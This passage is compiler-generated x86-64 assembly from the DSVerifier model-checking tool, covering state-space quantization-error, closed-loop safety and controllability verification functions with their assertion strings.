movsd xmm0, QWORD PTR [rdx+rax]
pxor xmm1, xmm1
ucomisd xmm0, xmm1
jp .L1472
pxor xmm1, xmm1
comisd xmm0, xmm1
je .L1445
.L1472:
mov WORD PTR -1054[rbp], 1
.L1445:
add DWORD PTR -1048[rbp], 1
.L1444:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1048[rbp], eax
jb .L1447
add DWORD PTR -1052[rbp], 1
.L1443:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -1052[rbp], eax
jb .L1448
mov DWORD PTR -1052[rbp], 0
jmp .L1449
.L1452:
mov DWORD PTR -1048[rbp], 0
jmp .L1450
.L1451:
mov edx, DWORD PTR -1048[rbp]
mov eax, DWORD PTR -1052[rbp]
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -1040[rbp+rax*8], xmm0
mov edx, DWORD PTR -1048[rbp]
mov eax, DWORD PTR -1052[rbp]
sal rax, 2
add rax, rdx
mov QWORD PTR -656[rbp+rax*8], 0
add DWORD PTR -1048[rbp], 1
.L1450:
cmp DWORD PTR -1048[rbp], 3
jbe .L1451
add DWORD PTR -1052[rbp], 1
.L1449:
cmp DWORD PTR -1052[rbp], 3
jbe .L1452
mov DWORD PTR -1052[rbp], 0
jmp .L1453
.L1454:
mov eax, DWORD PTR -1052[rbp]
sal rax, 5
add rax, rbp
sub rax, 1040
movsd xmm0, QWORD PTR -1064[rbp]
movsd QWORD PTR [rax], xmm0
add DWORD PTR -1052[rbp], 1
.L1453:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1052[rbp], eax
jb .L1454
mov DWORD PTR -1052[rbp], 0
jmp .L1455
.L1456:
mov eax, DWORD PTR -1052[rbp]
sal rax, 5
add rax, rbp
sub rax, 528
mov QWORD PTR [rax], 0
add DWORD PTR -1052[rbp], 1
.L1455:
cmp DWORD PTR -1052[rbp], 3
jbe .L1456
mov DWORD PTR -1052[rbp], 0
jmp .L1457
.L1458:
mov eax, DWORD PTR -1052[rbp]
add rax, 112
lea rdx, 0[0+rax*8]
lea rax, _controller_fxp[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -1052[rbp]
mov QWORD PTR -656[rbp+rdx*8], rax
add DWORD PTR -1052[rbp], 1
.L1457:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1052[rbp], eax
jb .L1458
mov DWORD PTR -1052[rbp], 0
jmp .L1459
.L1462:
mov DWORD PTR -1048[rbp], 0
jmp .L1460
.L1461:
mov edx, DWORD PTR -1048[rbp]
mov eax, DWORD PTR -1052[rbp]
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -912[rbp+rax*8], xmm0
mov edx, DWORD PTR -1048[rbp]
mov eax, DWORD PTR -1052[rbp]
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -784[rbp+rax*8], xmm0
add DWORD PTR -1048[rbp], 1
.L1460:
cmp DWORD PTR -1048[rbp], 3
jbe .L1461
add DWORD PTR -1052[rbp], 1
.L1459:
cmp DWORD PTR -1052[rbp], 3
jbe .L1462
mov DWORD PTR -1044[rbp], 0
jmp .L1463
.L1464:
mov eax, DWORD PTR -1044[rbp]
add rax, 16
sal rax, 5
mov rdx, rax
lea rax, _controller_fxp[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -1044[rbp]
sal rdx, 5
add rdx, rbp
sub rdx, 528
mov QWORD PTR [rdx], rax
add DWORD PTR -1044[rbp], 1
.L1463:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -1044[rbp], eax
jb .L1464
mov eax, DWORD PTR nStates[rip]
mov r10d, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rcx, -528[rbp]
lea rdx, -656[rbp]
sub rsp, 8
lea rax, -400[rbp]
push rax
mov r9, rcx
mov r8, rdx
mov ecx, 1
mov edx, r10d
call fxp_matrix_multiplication
add rsp, 16
mov DWORD PTR -1044[rbp], 0
jmp .L1465
.L1466:
mov eax, DWORD PTR -1044[rbp]
sal rax, 5
add rax, rbp
sub rax, 1040
movsd xmm0, QWORD PTR [rax]
cvttsd2si rax, xmm0
mov rdi, rax
call fxp_quantize
pxor xmm2, xmm2
cvtsi2sd xmm2, rax
movq rax, xmm2
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -1044[rbp]
sal rdx, 5
add rdx, rbp
sub rdx, 272
mov QWORD PTR [rdx], rax
add DWORD PTR -1044[rbp], 1
.L1465:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1044[rbp], eax
jb .L1466
mov eax, DWORD PTR nInputs[rip]
mov edi, eax
lea rcx, -144[rbp]
lea rdx, -400[rbp]
lea rax, -272[rbp]
mov r8, rcx
mov rcx, rdx
mov rdx, rax
mov esi, 1
call fxp_sub_matrix
mov DWORD PTR -1044[rbp], 0
jmp .L1467
.L1468:
mov eax, DWORD PTR -1044[rbp]
sal rax, 5
add rax, rbp
sub rax, 144
mov rax, QWORD PTR [rax]
mov rdi, rax
call fxp_quantize
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov edx, DWORD PTR -1044[rbp]
add rdx, 24
mov rcx, rdx
sal rcx, 5
lea rdx, _controller_fxp[rip]
mov QWORD PTR [rcx+rdx], rax
add DWORD PTR -1044[rbp], 1
.L1467:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -1044[rbp], eax
jb .L1468
mov eax, DWORD PTR nStates[rip]
mov edx, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -912[rbp]
push rax
lea r9, _controller_fxp[rip+512]
lea r8, _controller_fxp[rip+256]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
cmp WORD PTR -1054[rbp], 1
jne .L1469
mov eax, DWORD PTR nInputs[rip]
mov edx, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -784[rbp]
push rax
lea r9, _controller_fxp[rip+768]
lea r8, _controller_fxp[rip+384]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
.L1469:
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rdx, -784[rbp]
lea rax, -912[rbp]
lea r8, _controller_fxp[rip+640]
mov rcx, rdx
mov rdx, rax
mov esi, 1
call double_add_matrix
mov eax, DWORD PTR nStates[rip]
mov edx, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
sub rsp, 8
lea rax, -912[rbp]
push rax
lea r9, _controller_fxp[rip+512]
lea r8, _controller_fxp[rip]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nInputs[rip]
mov edx, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
sub rsp, 8
lea rax, -784[rbp]
push rax
lea r9, _controller_fxp[rip+768]
lea r8, _controller_fxp[rip+128]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rdx, -784[rbp]
lea rax, -912[rbp]
lea r8, _controller_fxp[rip+512]
mov rcx, rdx
mov rdx, rax
mov esi, 1
call double_add_matrix
movsd xmm0, QWORD PTR _controller_fxp[rip+640]
movq rax, xmm0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L1471
call __stack_chk_fail@PLT
.L1471:
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE143:
.size fxp_ss_closed_loop_quantization_error, .-fxp_ss_closed_loop_quantization_error
.globl ss_closed_loop_quantization_error
.type ss_closed_loop_quantization_error, @function
ss_closed_loop_quantization_error:
.LFB144:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 432
movsd QWORD PTR -424[rbp], xmm0
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov WORD PTR -410[rbp], 0
mov DWORD PTR -408[rbp], 0
jmp .L1474
.L1479:
mov DWORD PTR -404[rbp], 0
jmp .L1475
.L1478:
mov edx, DWORD PTR -404[rbp]
mov eax, DWORD PTR -408[rbp]
sal rax, 2
add rax, rdx
add rax, 48
lea rdx, 0[0+rax*8]
lea rax, _controller_double[rip]
movsd xmm0, QWORD PTR [rdx+rax]
pxor xmm1, xmm1
ucomisd xmm0, xmm1
jp .L1491
pxor xmm1, xmm1
comisd xmm0, xmm1
je .L1476
.L1491:
mov WORD PTR -410[rbp], 1
.L1476:
add DWORD PTR -404[rbp], 1
.L1475:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -404[rbp], eax
jb .L1478
add DWORD PTR -408[rbp], 1
.L1474:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -408[rbp], eax
jb .L1479
mov DWORD PTR -408[rbp], 0
jmp .L1480
.L1483:
mov DWORD PTR -404[rbp], 0
jmp .L1481
.L1482:
mov edx, DWORD PTR -404[rbp]
mov eax, DWORD PTR -408[rbp]
sal rax, 2
add rax, rdx
movsd xmm0, QWORD PTR -424[rbp]
movsd QWORD PTR -400[rbp+rax*8], xmm0
add DWORD PTR -404[rbp], 1
.L1481:
cmp DWORD PTR -404[rbp], 0
je .L1482
add DWORD PTR -408[rbp], 1
.L1480:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -408[rbp], eax
jb .L1483
mov DWORD PTR -408[rbp], 0
jmp .L1484
.L1487:
mov DWORD PTR -404[rbp], 0
jmp .L1485
.L1486:
mov edx, DWORD PTR -404[rbp]
mov eax, DWORD PTR -408[rbp]
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -272[rbp+rax*8], xmm0
mov edx, DWORD PTR -404[rbp]
mov eax, DWORD PTR -408[rbp]
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -144[rbp+rax*8], xmm0
add DWORD PTR -404[rbp], 1
.L1485:
cmp DWORD PTR -404[rbp], 3
jbe .L1486
add DWORD PTR -408[rbp], 1
.L1484:
cmp DWORD PTR -408[rbp], 3
jbe .L1487
mov eax, DWORD PTR nStates[rip]
mov edx, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -272[rbp]
push rax
lea r9, _controller_double[rip+512]
lea r8, _controller_double[rip+896]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nInputs[rip]
mov edi, eax
lea rdx, -272[rbp]
lea rax, -400[rbp]
lea r8, _controller_double[rip+768]
mov rcx, rdx
mov rdx, rax
mov esi, 1
call double_sub_matrix
mov eax, DWORD PTR nStates[rip]
mov edx, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -272[rbp]
push rax
lea r9, _controller_double[rip+512]
lea r8, _controller_double[rip+256]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
cmp WORD PTR -410[rbp], 1
jne .L1488
mov eax, DWORD PTR nInputs[rip]
mov edx, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
sub rsp, 8
lea rax, -144[rbp]
push rax
lea r9, _controller_double[rip+768]
lea r8, _controller_double[rip+384]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
.L1488:
mov eax, DWORD PTR nOutputs[rip]
mov edi, eax
lea rdx, -144[rbp]
lea rax, -272[rbp]
lea r8, _controller_double[rip+640]
mov rcx, rdx
mov rdx, rax
mov esi, 1
call double_add_matrix
mov eax, DWORD PTR nStates[rip]
mov edx, eax
mov eax, DWORD PTR nStates[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
sub rsp, 8
lea rax, -272[rbp]
push rax
lea r9, _controller_double[rip+512]
lea r8, _controller_double[rip]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nInputs[rip]
mov edx, eax
mov eax, DWORD PTR nInputs[rip]
mov esi, eax
mov eax, DWORD PTR nStates[rip]
mov edi, eax
sub rsp, 8
lea rax, -144[rbp]
push rax
lea r9, _controller_double[rip+768]
lea r8, _controller_double[rip+128]
mov ecx, 1
call double_matrix_multiplication
add rsp, 16
mov eax, DWORD PTR nStates[rip]
mov edi, eax
lea rdx, -144[rbp]
lea rax, -272[rbp]
lea r8, _controller_double[rip+512]
mov rcx, rdx
mov rdx, rax
mov esi, 1
call double_add_matrix
movsd xmm0, QWORD PTR _controller_double[rip+640]
movq rax, xmm0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L1490
call __stack_chk_fail@PLT
.L1490:
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE144:
.size ss_closed_loop_quantization_error, .-ss_closed_loop_quantization_error
.section .rodata
.align 8
.LC83:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
.align 8
.LC84:
.string "__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
.text
.globl verify_error_state_space
.type verify_error_state_space, @function
verify_error_state_space:
.LFB145:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 72
.cfi_offset 3, -24
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
mov DWORD PTR -72[rbp], 0
jmp .L1493
.L1496:
mov DWORD PTR -68[rbp], 0
jmp .L1494
.L1495:
mov eax, DWORD PTR -68[rbp]
movsx rdx, eax
mov eax, DWORD PTR -72[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -68[rbp]
movsx rdx, eax
mov eax, DWORD PTR -72[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, new_state[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -68[rbp], 1
.L1494:
cmp DWORD PTR -68[rbp], 0
jle .L1495
add DWORD PTR -72[rbp], 1
.L1493:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -72[rbp], eax
jl .L1496
mov DWORD PTR -72[rbp], 0
jmp .L1497
.L1500:
mov DWORD PTR -68[rbp], 0
jmp .L1498
.L1499:
mov eax, DWORD PTR -68[rbp]
movsx rdx, eax
mov eax, DWORD PTR -72[rbp]
cdqe
sal rax, 2
add rax, rdx
add rax, 64
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -68[rbp]
movsx rdx, eax
mov eax, DWORD PTR -72[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, new_stateFWL[rip]
movsd QWORD PTR [rdx+rax], xmm0
add DWORD PTR -68[rbp], 1
.L1498:
cmp DWORD PTR -68[rbp], 0
jle .L1499
add DWORD PTR -72[rbp], 1
.L1497:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -72[rbp], eax
jl .L1500
lea rax, _controller_fxp[rip]
lea rdx, _controller[rip]
mov ecx, 130
mov rdi, rax
mov rsi, rdx
rep movsq
lea rax, _controller_double[rip]
lea rdx, _controller[rip]
mov ecx, 130
mov rdi, rax
mov rsi, rdx
rep movsq
mov DWORD PTR overflow_mode[rip], 0
mov rax, QWORD PTR impl[rip+16]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR -64[rbp], rax
mov rax, QWORD PTR impl[rip+8]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR -56[rbp], rax
mov eax, 0
call nondet_double@PLT
movq rax, xmm0
mov QWORD PTR -48[rbp], rax
pxor xmm1, xmm1
cvtsi2sd xmm1, QWORD PTR -64[rbp]
movsd xmm0, QWORD PTR -48[rbp]
comisd xmm0, xmm1
jb .L1501
pxor xmm0, xmm0
cvtsi2sd xmm0, QWORD PTR -56[rbp]
comisd xmm0, QWORD PTR -48[rbp]
jb .L1501
mov eax, 1
jmp .L1504
.L1501:
mov eax, 0
.L1504:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov DWORD PTR -72[rbp], 0
jmp .L1505
.L1506:
movsd xmm0, QWORD PTR -48[rbp]
cvttsd2si rdx, xmm0
mov eax, DWORD PTR -72[rbp]
cdqe
mov QWORD PTR -32[rbp+rax*8], rdx
add DWORD PTR -72[rbp], 1
.L1505:
cmp DWORD PTR -72[rbp], 0
js .L1506
mov eax, DWORD PTR closed_loop[rip]
test eax, eax
je .L1507
mov DWORD PTR -72[rbp], 0
jmp .L1508
.L1513:
mov eax, DWORD PTR -72[rbp]
cdqe
mov rax, QWORD PTR -32[rbp+rax*8]
pxor xmm2, xmm2
cvtsi2sd xmm2, rax
movq rax, xmm2
movq xmm0, rax
call ss_closed_loop_quantization_error
movq rbx, xmm0
mov eax, DWORD PTR -72[rbp]
cdqe
mov rax, QWORD PTR -32[rbp+rax*8]
pxor xmm3, xmm3
cvtsi2sd xmm3, rax
movq rax, xmm3
movq xmm0, rax
call fxp_ss_closed_loop_quantization_error
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
movsd xmm0, QWORD PTR error_limit[rip]
comisd xmm0, QWORD PTR -40[rbp]
jbe .L1509
movsd xmm0, QWORD PTR error_limit[rip]
movq xmm1, QWORD PTR .LC13[rip]
xorpd xmm1, xmm0
movsd xmm0, QWORD PTR -40[rbp]
comisd xmm0, xmm1
ja .L1512
.L1509:
lea rcx, __PRETTY_FUNCTION__.4[rip]
mov edx, 354
lea rsi, .LC83[rip]
lea rdi, .LC84[rip]
call __assert_fail@PLT
.L1512:
add DWORD PTR -72[rbp], 1
.L1508:
cmp DWORD PTR -72[rbp], 0
js .L1513
jmp .L1514
.L1507:
mov DWORD PTR -72[rbp], 0
jmp .L1515
.L1520:
mov eax, DWORD PTR -72[rbp]
cdqe
mov rax, QWORD PTR -32[rbp+rax*8]
mov rdi, rax
call ss_system_quantization_error
movq rax, xmm0
mov QWORD PTR -40[rbp], rax
movsd xmm0, QWORD PTR error_limit[rip]
comisd xmm0, QWORD PTR -40[rbp]
jbe .L1516
movsd xmm0, QWORD PTR error_limit[rip]
movq xmm1, QWORD PTR .LC13[rip]
xorpd xmm1, xmm0
movsd xmm0, QWORD PTR -40[rbp]
comisd xmm0, xmm1
ja .L1519
.L1516:
lea rcx, __PRETTY_FUNCTION__.4[rip]
mov edx, 361
lea rsi, .LC83[rip]
lea rdi, .LC84[rip]
call __assert_fail@PLT
.L1519:
add DWORD PTR -72[rbp], 1
.L1515:
cmp DWORD PTR -72[rbp], 0
js .L1520
.L1514:
mov eax, 0
mov rbx, QWORD PTR -24[rbp]
sub rbx, QWORD PTR fs:40
je .L1522
call __stack_chk_fail@PLT
.L1522:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE145:
.size verify_error_state_space, .-verify_error_state_space
.globl fxp_ss_closed_loop_safety
.type fxp_ss_closed_loop_safety, @function
fxp_ss_closed_loop_safety:
.LFB146:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 800
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov WORD PTR -794[rbp], 0
mov DWORD PTR -788[rbp], 0
jmp .L1528
.L1533:
mov DWORD PTR -792[rbp], 0
jmp .L1529
.L1532:
mov edx, DWORD PTR -792[rbp]
mov eax, DWORD PTR -788[rbp]
sal rax, 2
add rax, rdx
add rax, 48
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
pxor xmm1, xmm1
ucomisd xmm0, xmm1
jp .L1560
pxor xmm1, xmm1
comisd xmm0, xmm1
je .L1530
.L1560:
mov WORD PTR -794[rbp], 1
.L1530:
add DWORD PTR -792[rbp], 1
.L1529:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -792[rbp], eax
jb .L1532
add DWORD PTR -788[rbp], 1
.L1528:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -788[rbp], eax
jb .L1533
mov DWORD PTR -788[rbp], 0
jmp .L1534
.L1537:
mov DWORD PTR -792[rbp], 0
jmp .L1535
.L1536:
mov edx, DWORD PTR -792[rbp]
mov eax, DWORD PTR -788[rbp]
sal rax, 2
add rax, rdx
add rax, 96
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
movsd xmm0, QWORD PTR [rdx+rax]
mov edx, DWORD PTR -792[rbp]
mov eax, DWORD PTR -788[rbp]
sal rax, 2
add rax, rdx
movsd QWORD PTR -784[rbp+rax*8], xmm0
add DWORD PTR -792[rbp], 1
.L1535:
cmp DWORD PTR -792[rbp], 0
je .L1536
add DWORD PTR -788[rbp], 1
.L1534:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -788[rbp], eax
jb .L1537
mov DWORD PTR -788[rbp], 0
jmp .L1538
.L1541:
mov DWORD PTR -792[rbp], 0
jmp .L1539
.L1540:
mov edx, DWORD PTR -792[rbp]
mov eax, DWORD PTR -788[rbp]
sal rax, 2
add rax, rdx
mov QWORD PTR -400[rbp+rax*8], 0
add DWORD PTR -792[rbp], 1
.L1539:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -792[rbp], eax
jb .L1540
add DWORD PTR -788[rbp], 1
.L1538:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -788[rbp], eax
jb .L1541
mov DWORD PTR -788[rbp], 0
jmp .L1542
.L1545:
mov DWORD PTR -792[rbp], 0
jmp .L1543
.L1544:
mov edx, DWORD PTR -792[rbp]
mov eax, DWORD PTR -788[rbp]
sal rax, 2
add rax, rdx
mov QWORD PTR -272[rbp+rax*8], 0
add DWORD PTR -792[rbp], 1
.L1543:
cmp DWORD PTR -792[rbp], 0
je .L1544
add DWORD PTR -788[rbp], 1
.L1542:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -788[rbp], eax
jb .L1545
mov DWORD PTR -788[rbp], 0
jmp .L1546
.L1549:
mov DWORD PTR -792[rbp], 0
jmp .L1547
.L1548:
mov edx, DWORD PTR -792[rbp]
mov eax, DWORD PTR -788[rbp]
sal rax, 2
add rax, rdx
mov QWORD PTR -144[rbp+rax*8], 0
add DWORD PTR -792[rbp], 1
.L1547:
cmp DWORD PTR -792[rbp], 3
jbe .L1548
add DWORD PTR -788[rbp], 1
.L1546:
cmp DWORD PTR -788[rbp], 3
jbe .L1549
mov DWORD PTR -788[rbp], 0
jmp .L1550
.L1553:
mov DWORD PTR -792[rbp], 0
jmp .L1551
.L1552:
mov edx, DWORD PTR -792[rbp]
mov eax, DWORD PTR -788[rbp]
sal rax, 2
add rax, rdx
add rax, 112
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov ecx, DWORD PTR -792[rbp]
mov edx, DWORD PTR -788[rbp]
sal rdx, 2
add rdx, rcx
mov QWORD PTR -400[rbp+rdx*8], rax
add DWORD PTR -792[rbp], 1
.L1551:
mov eax, DWORD PTR nOutputs[rip]
cmp DWORD PTR -792[rbp], eax
jb .L1552
add DWORD PTR -788[rbp], 1
.L1550:
mov eax, DWORD PTR nInputs[rip]
cmp DWORD PTR -788[rbp], eax
jb .L1553
mov DWORD PTR -788[rbp], 0
jmp .L1554
.L1557:
mov DWORD PTR -792[rbp], 0
jmp .L1555
.L1556:
mov edx, DWORD PTR -792[rbp]
mov eax, DWORD PTR -788[rbp]
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -656[rbp+rax*8], xmm0
mov edx, DWORD PTR -792[rbp]
mov eax, DWORD PTR -788[rbp]
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -528[rbp+rax*8], xmm0
add DWORD PTR -792[rbp], 1
.L1555:
cmp DWORD PTR -792[rbp], 3
jbe .L1556
add DWORD PTR -788[rbp], 1
.L1554:
cmp DWORD PTR -788[rbp], 3
jbe .L1557
mov DWORD PTR -788[rbp], 1
nop
movsd xmm0, QWORD PTR _controller[rip+640]
movq rax, xmm0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L1559
call __stack_chk_fail@PLT
.L1559:
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE146:
.size fxp_ss_closed_loop_safety, .-fxp_ss_closed_loop_safety
.section .rodata
.align 8
.LC85:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
.LC86:
.string "output_double <= error_limit"
.text
.globl verify_safety_state_space
.type verify_safety_state_space, @function
verify_safety_state_space:
.LFB147:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov eax, 0
call fxp_ss_closed_loop_safety
cvttsd2si rax, xmm0
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -16[rbp]
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov QWORD PTR -8[rbp], rax
movsd xmm0, QWORD PTR error_limit[rip]
comisd xmm0, QWORD PTR -8[rbp]
jnb .L1562
lea rcx, __PRETTY_FUNCTION__.3[rip]
mov edx, 140
lea rsi, .LC85[rip]
lea rdi, .LC86[rip]
call __assert_fail@PLT
.L1562:
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE147:
.size verify_safety_state_space, .-verify_safety_state_space
.section .rodata
.align 8
.LC87:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
.align 8
.LC88:
.string "determinant(controllabilityMatrix_double,nStates) != 0"
.text
.globl verify_controllability
.type verify_controllability, @function
verify_controllability:
.LFB148:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 928
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -928[rbp], 0
jmp .L1565
.L1568:
mov DWORD PTR -924[rbp], 0
jmp .L1566
.L1567:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -912[rbp+rax*8], 0
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -784[rbp+rax*8], 0
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -656[rbp+rax*8], 0
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -528[rbp+rax*8], 0
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
mov QWORD PTR -400[rbp+rax*8], 0
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR -272[rbp+rax*8], xmm0
add DWORD PTR -924[rbp], 1
.L1566:
mov edx, DWORD PTR nStates[rip]
mov eax, DWORD PTR nInputs[rip]
imul eax, edx
cmp DWORD PTR -924[rbp], eax
jl .L1567
add DWORD PTR -928[rbp], 1
.L1565:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1568
mov DWORD PTR -928[rbp], 0
jmp .L1569
.L1572:
mov DWORD PTR -924[rbp], 0
jmp .L1570
.L1571:
mov eax, DWORD PTR -924[rbp]
movsx rdx, eax
mov eax, DWORD PTR -928[rbp]
cdqe
sal rax, 2
add rax, rdx
lea rdx, 0[0+rax*8]
lea rax, _controller[rip]
mov rax, QWORD PTR [rdx+rax]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -924[rbp]
movsx rcx, edx
mov edx, DWORD PTR -928[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -912[rbp+rdx*8], rax
add DWORD PTR -924[rbp], 1
.L1570:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -924[rbp], eax
jl .L1571
add DWORD PTR -928[rbp], 1
.L1569:
mov eax, DWORD PTR nStates[rip]
cmp DWORD PTR -928[rbp], eax
jl .L1572
mov DWORD PTR -928[rbp], 0
jmp .L1573
.L1576:
mov DWORD PTR -924[rbp], 0
jmp .L1574
.L1575:
mov eax, DWORD PTR -924[rbp]
